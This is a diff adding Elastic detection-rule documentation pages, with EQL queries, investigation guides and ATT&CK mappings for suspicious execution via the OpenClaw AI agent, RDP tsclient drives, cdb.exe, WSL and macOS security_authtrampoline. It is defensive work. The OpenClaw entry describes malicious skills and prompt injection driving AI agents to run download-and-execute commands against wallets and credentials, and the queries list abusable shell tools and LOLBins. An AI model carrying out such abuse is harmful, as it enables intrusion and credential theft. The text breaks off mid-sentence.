+** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-openclaw-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-openclaw-agent.asciidoc new file mode 100644 index 0000000000..6976d86ca7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-openclaw-agent.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-execution-via-openclaw-agent]] +=== Execution via OpenClaw Agent + +Detects suspicious child process execution from the OpenClaw, Moltbot, or Clawdbot AI coding agents running via Node.js. These tools can execute arbitrary shell commands through skills or prompt injection attacks. Malicious skills from public registries like ClawHub have been observed executing obfuscated download-and-execute commands targeting cryptocurrency wallets and credentials. This rule identifies shells, scripting interpreters, and common LOLBins spawned by these AI agents. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.malwarebytes.com/blog/threat-intel/2026/01/clawdbots-rename-to-moltbot-sparks-impersonation-campaign +* https://www.tomshardware.com/tech-industry/cyber-security/malicious-moltbot-skill-targets-crypto-users-on-clawhub +* https://blogs.cisco.com/ai/personal-ai-agents-like-openclaw-are-a-security-nightmare +* https://blog.virustotal.com/2026/02/from-automation-to-infection-how.html + +*Tags*: + +* Domain: Endpoint +* Domain: LLM +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via OpenClaw Agent* + + +OpenClaw (formerly Clawdbot, rebranded to Moltbot) is a personal AI coding assistant that can execute shell commands +and scripts on behalf of users. Malicious actors have weaponized the skill ecosystem (ClawHub) to distribute skills +that execute download-and-execute commands, targeting cryptocurrency wallets and credentials. + + +*Possible investigation steps* + + +- Verify if OpenClaw/Moltbot is an approved application in your organization. +- Review the child process command line for indicators of malicious activity (encoded payloads, remote downloads, credential access). +- Check the parent Node.js process command line to identify which OpenClaw component initiated the execution. +- Examine recently installed skills from ClawHub for malicious or obfuscated code. +- Correlate with network events to identify data exfiltration or C2 communication. +- Review the user's AI conversation history for prompt injection attempts. + + +*False positive analysis* + + +- Developers legitimately using OpenClaw/Moltbot for AI-assisted coding may trigger this rule when the AI executes build scripts, curl commands, or other legitimate automation. +- If the tool is approved, consider tuning based on specific command patterns or adding exception lists. + + +*Response and remediation* + + +- If the child process activity appears malicious, terminate the OpenClaw gateway and investigate the skill that initiated the command. +- Review and remove any suspicious skills from the OpenClaw configuration. +- If credentials may have been accessed, rotate affected secrets and API keys. +- Block known typosquat domains (moltbot.you, clawbot.ai, clawdbot.you) at the network level. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + process.parent.name : ("node", "node.exe") and + process.parent.command_line : ("*openclaw*", "*moltbot*", "*clawdbot*") and + process.name : ("bash", "sh", "zsh", "bash.exe", "cmd.exe", "powershell.exe", "curl.exe", "curl", "base64", "xattr", "osascript", "python*", "chmod", "certutil.exe", "rundll32.exe") and + not process.args in ( + "ip neigh show", + "arp -a -n -l", + "ip neighbor show dev wlan0", + "ip neighbor show dev eth0", + "arp -a | findstr /C:---" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-tsclient-mountpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-tsclient-mountpoint.asciidoc new file mode 100644 index 0000000000..aca122b8c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-tsclient-mountpoint.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-execution-via-tsclient-mountpoint]] +=== Execution via TSClient Mountpoint + +Identifies execution from the Remote Desktop Protocol (RDP) shared mountpoint tsclient on the target host. This may indicate a lateral movement attempt. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specterops.io/blog/2020/01/22/revisiting-remote-desktop-lateral-movement/ +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via TSClient Mountpoint* + + + +*Possible investigation steps* + + +- What exact TSClient launch did the alert capture? + - Focus: `process.executable`, `process.command_line`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`. + - Implication: escalate when the redirected-drive executable is unsigned, untrusted, renamed, script-capable, or launched with command intent outside a recognized RDP support or deployment workflow; lower concern only when a vendor-signed installer or utility from the RDP client drive matches that exact session purpose. +- What launcher and Windows session produced the TSClient process? + - Focus: `process.parent.name`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, `user.id`. + - Implication: escalate when the parent is "cmd.exe", "powershell.exe", "taskmgr.exe", or another remote-session launcher, when the session is remote-interactive for an unusual user, or when children show another TSClient-launched payload; lower concern when parent and session match a recognized support launcher or deployment tool. +- Which RDP source created the session, when authentication telemetry is available? + - Focus: bridge `process.Ext.authentication_id` to same-host authentication events through `winlog.event_data.TargetLogonId`; read `source.ip`, `winlog.logon.type`, `winlog.event_data.AuthenticationPackageName`. !{investigate{"description":"","label":"Authentication events for the linked session","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when the recovered source or authentication package conflicts with recognized jump hosts, support workstations, or deployment sources. Missing authentication telemetry is unresolved, not benign. +- Did the TSClient process spawn shells, tools, or persistence helpers on the target? + - Focus: child starts from `process.entity_id` on `host.id`, especially `process.executable`, `process.command_line`, `process.parent.entity_id`. !{investigate{"description":"","label":"Child processes spawned by the TSClient launch","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, recover descendants with `host.id` + `process.pid` + a tight alert-time window and confirm the parent command line before interpreting results. + - Implication: escalate when descendants include shells, script hosts, remote-access tools, credential utilities, or persistence helpers; an isolated installer-like launch lowers urgency only if session and identity evidence also align. +- If local evidence remains suspicious or incomplete, do related alerts show the same user or host attempting RDP or remote execution elsewhere? + - Focus: same-user `user.id` and same-host `host.id` alerts sharing RDP, credential, remote-service, or execution patterns. + - Hint: user alert pivot. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: host alert pivot. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand scope only when related alerts reuse the same user, host, session pattern, or command family; unrelated alert noise does not change disposition. +- Escalate when suspicious identity, lineage, source, descendants, or related alerts support unauthorized redirected-drive execution; close only when process identity, parent/session, source when available, and descendants all match one recognized RDP support or deployment activity; preserve artifacts and escalate when authentication visibility is missing or evidence remains mixed. + + +*False positive analysis* + + +- RDP helpdesk, break-fix, or software deployment workflows can legitimately run installers or utilities from a client drive redirected into the target session. Confirm all evidence converges on one exact activity: identity and intent (`process.executable`, `process.command_line`, signature), launch/session (`process.parent.name`, `user.id`, `host.id`, recovered `source.ip` when available), and outcome (no suspicious descendants or related alerts). Contradictory evidence keeps the case open. +- Use recurrence only to support a narrow exception candidate, not to close the current case by itself. Require the same stable executable path or signer, parent/session pattern, `user.id`, `host.id`, recovered source when available, and descendant-clean outcome across prior alerts from this rule; keep the case open when current telemetry is incomplete or contradictory. +- Before creating an exception, anchor it on the minimum confirmed pattern: specific `process.executable`, stable `process.command_line` or signer, `process.parent.name`, `user.id`, `host.id`, and recovered `source.ip` only when it was part of the confirmation. Avoid exceptions on the TSClient path wildcard or `process.name` alone. + + +*Response and remediation* + + +- Preserve evidence before changing state: case export of the alert, process tree, command line, binary hash or sample when available, child-process events, and authentication-bridge records. +- If confirmed benign after preservation, reverse temporary containment and document the exact process identity, parent/session context, `user.id`, `host.id`, and recovered `source.ip` that established the redirected-drive workflow. Create an exception only after the same narrowly scoped pattern is stable across prior alerts. +- If suspicious but unconfirmed after preservation, use reversible containment only: terminate the active RDP session, restrict new RDP connections from the recovered source when available, disable drive redirection for the affected access path, or heighten monitoring on the affected `host.id`. Do not isolate the host, terminate processes, or suspend accounts unless follow-on execution or related alerts confirm broader abuse. +- If confirmed malicious, isolate the target host when feasible, terminate the TSClient-launched process and malicious descendants after evidence capture, and disable or suspend the account or RDP access path used for the session. +- Scope before cleanup by reviewing other hosts and users tied to the same recovered source, `user.id`, distinctive `process.command_line`, signer, or hash. +- Eradicate only the staged payloads, persistence artifacts, or tooling identified during the investigation, then review whether credentials exposed in the RDP session need reset or reissue. +- Post-incident hardening: limit RDP drive redirection, restrict RDP access to managed jump hosts, retain endpoint process and Windows Security telemetry for session bridging, and document any TSClient execution patterns that should become narrow exceptions. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.executable : "\\Device\\Mup\\tsclient\\*.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-windows-command-debugging-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-windows-command-debugging-utility.asciidoc new file mode 100644 index 0000000000..9095a79699 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-windows-command-debugging-utility.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-execution-via-windows-command-debugging-utility]] +=== Execution via Windows Command Debugging Utility + +An adversary can use the Windows command line debugging utility cdb.exe to execute commands or shellcode. This rule looks for those instances and where the cdb.exe binary is outside of the normal WindowsKit installation paths. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via Windows Command Debugging Utility* + + +The Windows command line debugging utility, cdb.exe, is a legitimate tool used for debugging applications. However, adversaries can exploit it to execute unauthorized commands or shellcode, bypassing security measures. The detection rule identifies suspicious use of cdb.exe by monitoring its execution outside standard installation paths and specific command-line arguments, indicating potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of cdb.exe running from non-standard paths, as specified in the query. +- Examine the command-line arguments used with cdb.exe, particularly looking for "-cf", "-c", or "-pd", to understand the potential actions or scripts being executed. +- Investigate the parent process of cdb.exe to determine how it was launched and identify any associated suspicious activity or processes. +- Check the user account associated with the cdb.exe execution to assess if it aligns with expected behavior or if it indicates potential compromise. +- Analyze recent system logs and security alerts for any related or preceding suspicious activities that might correlate with the execution of cdb.exe. +- Review network activity from the host to identify any unusual outbound connections that could suggest data exfiltration or command-and-control communication. + + +*False positive analysis* + + +- Legitimate debugging activities by developers or IT staff using cdb.exe outside standard paths can trigger alerts. To manage this, create exceptions for known user accounts or specific machines frequently used for development. +- Automated testing environments may execute cdb.exe with command-line arguments for legitimate purposes. Identify these environments and exclude their processes from triggering alerts. +- Software installations or updates might temporarily use cdb.exe in non-standard paths. Monitor installation logs and exclude these specific instances if they are verified as part of legitimate software deployment. +- Security tools or scripts that leverage cdb.exe for monitoring or analysis can be mistaken for malicious activity. Document these tools and add them to the exclusion list to prevent false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or execution of malicious commands. +- Terminate any suspicious instances of cdb.exe running outside the standard installation paths to halt potential malicious activity. +- Conduct a forensic analysis of the affected system to identify any unauthorized changes or additional malicious payloads that may have been executed. +- Restore the system from a known good backup if any unauthorized changes or malware are detected, ensuring that the backup is clean and uncompromised. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Implement application whitelisting to prevent unauthorized execution of cdb.exe from non-standard paths. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "CDB.Exe" or process.name : "cdb.exe") and + process.args : ("-cf", "-c", "-pd") and + not process.executable : ( + "?:\\Program Files (x86)\\*\\cdb.exe", + "?:\\Program Files\\*\\cdb.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*\\cdb.exe", + "\\Device\\HarddiskVolume*\\Program Files\\*\\cdb.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-windows-subsystem-for-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-windows-subsystem-for-linux.asciidoc new file mode 100644 index 0000000000..e8bd57bf1c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-via-windows-subsystem-for-linux.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-execution-via-windows-subsystem-for-linux]] +=== Execution via Windows Subsystem for Linux + +Detects attempts to execute a program on the host from the Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/wsl/wsl-config + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution via Windows Subsystem for Linux* + + +Windows Subsystem for Linux (WSL) allows users to run Linux binaries natively on Windows, providing a seamless integration of Linux tools. Adversaries may exploit WSL to execute malicious scripts or binaries, bypassing traditional Windows security mechanisms. The detection rule identifies suspicious executions initiated by WSL processes, excluding known safe executables, to flag potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process details to identify the executable path and determine if it matches any known malicious or suspicious binaries not listed in the safe executables. +- Investigate the parent process, specifically wsl.exe or wslhost.exe, to understand how the execution was initiated and if it aligns with expected user behavior or scheduled tasks. +- Check the user account associated with the process execution to verify if the activity is consistent with the user's typical behavior or if the account may have been compromised. +- Analyze the event dataset, especially if it is from crowdstrike.fdr, to gather additional context about the process execution and any related activities on the host. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or SentinelOne to identify any related suspicious activities or patterns. +- Assess the risk score and severity in the context of the organization's environment to prioritize the investigation and response actions accordingly. + + +*False positive analysis* + + +- Legitimate administrative tasks using WSL may trigger alerts. Users can create exceptions for known administrative scripts or binaries that are frequently executed via WSL. +- Development environments often use WSL for compiling or testing code. Exclude specific development tools or scripts that are regularly used by developers to prevent unnecessary alerts. +- Automated system maintenance scripts running through WSL can be mistaken for malicious activity. Identify and whitelist these scripts to reduce false positives. +- Security tools or monitoring solutions that leverage WSL for legitimate purposes should be identified and excluded from detection to avoid interference with their operations. +- Frequent use of WSL by specific users or groups for non-malicious purposes can be managed by creating user-based exceptions, allowing their activities to proceed without triggering alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being executed via WSL that are not part of the known safe executables list. +- Conduct a thorough review of the affected system's WSL configuration and installed Linux distributions to identify unauthorized changes or installations. +- Remove any unauthorized or malicious scripts and binaries found within the WSL environment. +- Restore the system from a known good backup if malicious activity has compromised system integrity. +- Update and patch the system to ensure all software, including WSL, is up to date to mitigate known vulnerabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and process.command_line != null and + process.parent.name : ("wsl.exe", "wslhost.exe") and + not process.executable : ( + "?:\\Program Files (x86)\\*", + "?:\\Program Files\\*", + "?:\\Program Files*\\WindowsApps\\MicrosoftCorporationII.WindowsSubsystemForLinux_*\\wsl*.exe", + "?:\\Windows\\System32\\conhost.exe", + "?:\\Windows\\System32\\lxss\\wslhost.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\wsl.exe", + "?:\\Windows\\Sys?????\\wslconfig.exe" + ) and + not ( + /* Crowdstrike specific exclusion as it uses NT Object paths */ + (data_stream.dataset == "crowdstrike.fdr" or event.action == "ProcessRollup2") and + process.executable : ( + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*", + "\\Device\\HarddiskVolume*\\Program Files\\*", + "\\Device\\HarddiskVolume*\\Program Files*\\WindowsApps\\MicrosoftCorporationII.WindowsSubsystemForLinux_*\\wsl*.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\conhost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\lxss\\wslhost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\WerFault.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\wsl.exe", + "\\Device\\HarddiskVolume*\\Windows\\Sys?????\\wslconfig.exe" + ) + ) and + not ( + (process.name : "cmd.exe" and process.command_line : "*echo*%USERPROFILE%*") or + (process.name : "git.exe" and process.command_line : "git.exe -c log.*") or + (process.name : "powershell.exe" and process.command_line : "powershell.exe -Command $env:USERPROFILE") or + (process.name : "Code.exe" and process.command_line : ("*cli.js --folder-uri=vscode-remote://wsl*", "ms-vscode-remote.remote-wsl")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-with-explicit-credentials-via-scripting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-with-explicit-credentials-via-scripting.asciidoc new file mode 100644 index 0000000000..135f7f3610 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-with-explicit-credentials-via-scripting.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-execution-with-explicit-credentials-via-scripting]] +=== Execution with Explicit Credentials via Scripting + +Identifies execution of the security_authtrampoline process via a scripting interpreter. This occurs when programs use AuthorizationExecute-WithPrivileges from the Security.framework to run another program with root privileges. It should not be run by itself, as this is a sign of execution with explicit logon credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objectivebythesea.com/v2/talks/OBTS_v2_Thomas.pdf +* https://www.manpagez.com/man/8/security_authtrampoline/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution with Explicit Credentials via Scripting* + + +In macOS environments, the `security_authtrampoline` process is used to execute programs with elevated privileges via scripting interpreters. Adversaries may exploit this by using explicit credentials to run unauthorized scripts, gaining root access. The detection 